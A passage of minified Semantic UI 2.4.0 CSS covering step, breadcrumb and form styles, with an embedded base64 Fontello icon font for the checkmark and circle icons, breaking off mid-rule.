.step{font-size:1.71428571rem}@font-face{font-family:Step;src:url(data:application/x-font-ttf;charset=utf-8;;base64,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) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,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) format('woff')}.ui.ordered.steps .step.completed:before,.ui.steps .step.completed>.icon:before{font-family:Step;content:'\e800'}/*! + * # Semantic UI 2.4.0 - Breadcrumb + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.breadcrumb{line-height:1;display:inline-block;margin:0 0;vertical-align:middle}.ui.breadcrumb:first-child{margin-top:0}.ui.breadcrumb:last-child{margin-bottom:0}.ui.breadcrumb .divider{display:inline-block;opacity:.7;margin:0 .21428571rem 0;font-size:.92857143em;color:rgba(0,0,0,.4);vertical-align:baseline}.ui.breadcrumb a{color:#4183c4}.ui.breadcrumb a:hover{color:#1e70bf}.ui.breadcrumb .icon.divider{font-size:.85714286em;vertical-align:baseline}.ui.breadcrumb a.section{cursor:pointer}.ui.breadcrumb .section{display:inline-block;margin:0;padding:0}.ui.breadcrumb.segment{display:inline-block;padding:.78571429em 1em}.ui.breadcrumb .active.section{font-weight:700}.ui.mini.breadcrumb{font-size:.78571429rem}.ui.tiny.breadcrumb{font-size:.85714286rem}.ui.small.breadcrumb{font-size:.92857143rem}.ui.breadcrumb{font-size:1rem}.ui.large.breadcrumb{font-size:1.14285714rem}.ui.big.breadcrumb{font-size:1.28571429rem}.ui.huge.breadcrumb{font-size:1.42857143rem}.ui.massive.breadcrumb{font-size:1.71428571rem}/*! + * # Semantic UI 2.4.0 - Form + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.form{position:relative;max-width:100%}.ui.form>p{margin:1em 0}.ui.form .field{clear:both;margin:0 0 1em}.ui.form .field:last-child,.ui.form .fields:last-child .field{margin-bottom:0}.ui.form .fields .field{clear:both;margin:0}.ui.form .field>label{display:block;margin:0 0 .28571429rem 0;color:rgba(0,0,0,.87);font-size:.92857143em;font-weight:700;text-transform:none}.ui.form input:not([type]),.ui.form input[type=date],.ui.form input[type=datetime-local],.ui.form input[type=email],.ui.form input[type=file],.ui.form input[type=number],.ui.form input[type=password],.ui.form input[type=search],.ui.form input[type=tel],.ui.form input[type=text],.ui.form input[type=time],.ui.form input[type=url],.ui.form textarea{width:100%;vertical-align:top}.ui.form ::-webkit-datetime-edit,.ui.form ::-webkit-inner-spin-button{height:1.21428571em}.ui.form input:not([type]),.ui.form input[type=date],.ui.form input[type=datetime-local],.ui.form input[type=email],.ui.form input[type=file],.ui.form input[type=number],.ui.form input[type=password],.ui.form input[type=search],.ui.form input[type=tel],.ui.form input[type=text],.ui.form input[type=time],.ui.form input[type=url]{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;margin:0;outline:0;-webkit-appearance:none;tap-highlight-color:rgba(255,255,255,0);line-height:1.21428571em;padding:.67857143em 1em;font-size:1em;background:#fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);border-radius:.28571429rem;-webkit-box-shadow:0 0 0 0 transparent inset;box-shadow:0 0 0 0 transparent inset;-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease}.ui.form textarea{margin:0;-webkit-appearance:none;tap-highlight-color:rgba(255,255,255,0);padding:.78571429em 1em;background:#fff;border:1px solid rgba(34,36,38,.15);outline:0;color:rgba(0,0,0,.87);border-radius:.28571429rem;-webkit-box-shadow:0 0 0 0 transparent inset;box-shadow:0 0 0 0 transparent inset;-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease;font-size:1em;line-height:1.2857;resize:vertical}.ui.form textarea:not([rows]){height:12em;min-height:8em;max-height:24em}.ui.form input[type=checkbox],.ui.form textarea{vertical-align:top}.ui.form input.attached{width:auto}.ui.form select{display:block;height:auto;width:100%;background:#fff;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-box-shadow:0 0 0 0 transparent inset;box-shadow:0 0 0 0 transparent inset;padding:.62em 1em;color:rgba(0,0,0,.87);-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease}.ui.form .field>.selection.dropdown{width:100%}.ui.form .field>.selection.dropdown>.dropdown.icon{float:right}.ui.form .inline.field>.selection.dropdown,.ui.form .inline.fields .field>.selection.dropdown{width:auto}.ui.form .inline.field>.selection.dropdown>.dropdown.icon,.ui.form .inline.fields .field>.selection.dropdown>.dropdown.icon{float:none}.ui.form .field .ui.input,.ui.form .fields .field .ui.input,.ui.form .wide.field .ui.input{width:100%}.ui.form .inline.field:not(.wide) .ui.input,.ui.form .inline.fields .field:not(.wide) .ui.input{width:auto;vertical-align:middle}.ui.form .field .ui.input input,.ui.form .fields .field .ui.input input{width:auto}.ui.form .eight.fields .ui.input input,.ui.form .five.fields .ui.input input,.ui.form .four.fields .ui.input input,.ui.form .nine.fields .ui.input input,.ui.form .seven.fields .ui.input input,.ui.form .six.fields .ui.input input,.ui.form .ten.fields .ui.input input,.ui.form .three.fields .ui.input input,.ui.form .two.fields .ui.input input,.ui.form .wide.field .ui.input input{-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;width:0}.ui.form .error.message,.ui.form .success.message,.ui.form .warning.message{display:none}.ui.form .message:first-child{margin-top:0}.ui.form .field .prompt.label{white-space:normal;background:#fff!important;border:1px solid #e0b4b4!important;color:#9f3a38!important}.ui.form .inline.field .prompt,.ui.form .inline.fields .field .prompt{vertical-align:top;margin:-.25em 0 -.5em .5em}.ui.form .inline.field .prompt:before,.ui.form .inline.fields .field .prompt:before{border-width:0 0 1px 1px;bottom:auto;right:auto;top:50%;left:0}.ui.form .field.field input:-webkit-autofill{-webkit-box-shadow:0 0 0 100px ivory inset!important;box-shadow:0 0 0 100px ivory inset!important;border-color:#e5dfa1!important}.ui.form .field.field input:-webkit-autofill:focus{-webkit-box-shadow:0 0 0 100px ivory inset!important;box-shadow:0 0 0 100px ivory inset!important;border-color:#d5c315!important}.ui.form .error.error input:-webkit-autofill{-webkit-box-shadow:0 0 0 100px #fffaf0 inset!important;box-shadow:0 0 0 100px #fffaf0 inset!important;border-color:#e0b4b4!important}.ui.form ::-webkit-input-placeholder{color:rgba(191,191,191,.87)}.ui.form :-ms-input-placeholder{color:rgba(191,191,191,.87)!important}.ui.form ::-moz-placeholder{color:rgba(191,191,191,.87)}.ui.form :focus::-webkit-input-placeholder{color:rgba(115,115,115,.87)}.ui.form :focus:-ms-input-placeholder{color:rgba(115,115,115,.87)!important}.ui.form :focus::-moz-placeholder{color:rgba(115,115,115,.87)}.ui.form .error ::-webkit-input-placeholder{color:#e7bdbc}.ui.form .error :-ms-input-placeholder{color:#e7bdbc!important}.ui.form .error ::-moz-placeholder{color:#e7bdbc}.ui.form .error :focus::-webkit-input-placeholder{color:#da9796}.ui.form .error :focus:-ms-input-placeholder{color:#da9796!important}.ui.form .error :focus::-moz-placeholder{color:#da9796}.ui.form input:not([type]):focus,.ui.form input[type=date]:focus,.ui.form input[type=datetime-local]:focus,.ui.form input[type=email]:focus,.ui.form input[type=file]:focus,.ui.form input[type=number]:focus,.ui.form input[type=password]:focus,.ui.form input[type=search]:focus,.ui.form input[type=tel]:focus,.ui.form input[type=text]:focus,.ui.form input[type=time]:focus,.ui.form input[type=url]:focus{color:rgba(0,0,0,.95);border-color:#85b7d9;border-radius:.28571429rem;background:#fff;-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.35) inset;box-shadow:0 0 0 0 rgba(34,36,38,.35) inset}.ui.form textarea:focus{color:rgba(0,0,0,.95);border-color:#85b7d9;border-radius:.28571429rem;background:#fff;-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.35) inset;box-shadow:0 0 0 0 rgba(34,36,38,.35) inset;-webkit-appearance:none}.ui.form.success .success.message:not(:empty){display:block}.ui.form.success .compact.success.message:not(:empty){display:inline-block}.ui.form.success .icon.success.message:not(:empty){display:-webkit-box;display:-ms-flexbox;display:flex}.ui.form.warning .warning.message:not(:empty){display:block}.ui.form.warning .compact.warning.message:not(:empty){display:inline-block}.ui.form.warning .icon.warning.message:not(:empty){display:-webkit-box;display:-ms-flexbox;display:flex}.ui.form.error .error.message:not(:empty){display:block}.ui.form.error .compact.error.message:not(:empty){display:inline-block}.ui.form.error .icon.error.message:not(:empty){display:-webkit-box;display:-ms-flexbox;display:flex}.ui.form .field.error .input,.ui.form .field.error label,.ui.form .fields.error .field .input,.ui.form .fields.error .field label{color:#9f3a38}.ui.form .field.error .corner.label,.ui.form .fields.error .field .corner.label{border-color:#9f3a38;color:#fff}.ui.form .field.error input:not([type]),.ui.form .field.error input[type=date],.ui.form .field.error input[type=datetime-local],.ui.form .field.error input[type=email],.ui.form .field.error input[type=file],.ui.form .field.error input[type=number],.ui.form .field.error input[type=password],.ui.form .field.error input[type=search],.ui.form .field.error input[type=tel],.ui.form .field.error input[type=text],.ui.form .field.error input[type=time],.ui.form .field.error input[type=url],.ui.form .field.error select,.ui.form .field.error textarea,.ui.form .fields.error .field input:not([type]),.ui.form .fields.error .field input[type=date],.ui.form .fields.error .field input[type=datetime-local],.ui.form .fields.error .field input[type=email],.ui.form .fields.error .field input[type=file],.ui.form .fields.error .field input[type=number],.ui.form .fields.error .field input[type=password],.ui.form .fields.error .field input[type=search],.ui.form .fields.error .field input[type=tel],.ui.form .fields.error .field input[type=text],.ui.form .fields.error .field input[type=time],.ui.form .fields.error .field input[type=url],.ui.form .fields.error .field select,.ui.form .fields.error .field textarea{background:#fff6f6;border-color:#e0b4b4;color:#9f3a38;border-radius:'';-webkit-box-shadow:none;box-shadow:none}.ui.form .field.error input:not([type]):focus,.ui.form .field.error input[type=date]:focus,.ui.form .field.error input[type=datetime-local]:focus,.ui.form .field.error input[type=email]:focus,.ui.form .field.error input[type=file]:focus,.ui.form .field.error input[type=number]:focus,.ui.form .field.error input[type=password]:focus,.ui.form .field.error input[type=search]:focus,.ui.form .field.error input[type=tel]:focus,.ui.form .field.error input[type=text]:focus,.ui.form .field.error input[type=time]:focus,.ui.form .field.error input[type=url]:focus,.ui.form .field.error select:focus,.ui.form .field.error textarea:focus{background:#fff6f6;border-color:#e0b4b4;color:#9f3a38;-webkit-appearance:none;-webkit-box-shadow:none;box-shadow:none}.ui.form .field.error select{-webkit-appearance:menulist-button}.ui.form .field.error .ui.dropdown,.ui.form .field.error .ui.dropdown .item,.ui.form .field.error .ui.dropdown .text,.ui.form .fields.error .field .ui.dropdown,.ui.form .fields.error .field .ui.dropdown .item{background:#fff6f6;color:#9f3a38}.ui.form .field.error .ui.dropdown,.ui.form .fields.error .field .ui.dropdown{border-color:#e0b4b4!important}.ui.form .field.error .ui.dropdown:hover,.ui.form .fields.error .field .ui.dropdown:hover{border-color:#e0b4b4!important}.ui.form .field.error .ui.dropdown:hover .menu,.ui.form .fields.error .field .ui.dropdown:hover .menu{border-color:#e0b4b4}.ui.form .field.error .ui.multiple.selection.dropdown>.label,.ui.form .fields.error .field .ui.multiple.selection.dropdown>.label{background-color:#eacbcb;color:#9f3a38}.ui.form .field.error .ui.dropdown .menu .item:hover,.ui.form .fields.error .field .ui.dropdown .menu .item:hover{background-color:#fbe7e7}.ui.form .field.error .ui.dropdown .menu .selected.item,.ui.form .fields.error .field .ui.dropdown .menu .selected.item{background-color:#fbe7e7}.ui.form .field.error .ui.dropdown .menu .active.item,.ui.form .fields.error .field .ui.dropdown .menu .active.item{background-color:#fdcfcf!important}.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box,.ui.form .field.error .checkbox:not(.toggle):not(.slider) label,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label{color:#9f3a38}.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box:before,.ui.form .field.error .checkbox:not(.toggle):not(.slider) label:before,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box:before,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label:before{background:#fff6f6;border-color:#e0b4b4}.ui.form .field.error .checkbox .box:after,.ui.form .field.error .checkbox label:after,.ui.form .fields.error .field .checkbox .box:after,.ui.form .fields.error .field .checkbox label:after{color:#9f3a38}.ui.form .disabled.field,.ui.form .disabled.fields .field,.ui.form .field :disabled{pointer-events:none;opacity:.45}.ui.form .field.disabled>label,.ui.form .fields.disabled>label{opacity:.45}.ui.form 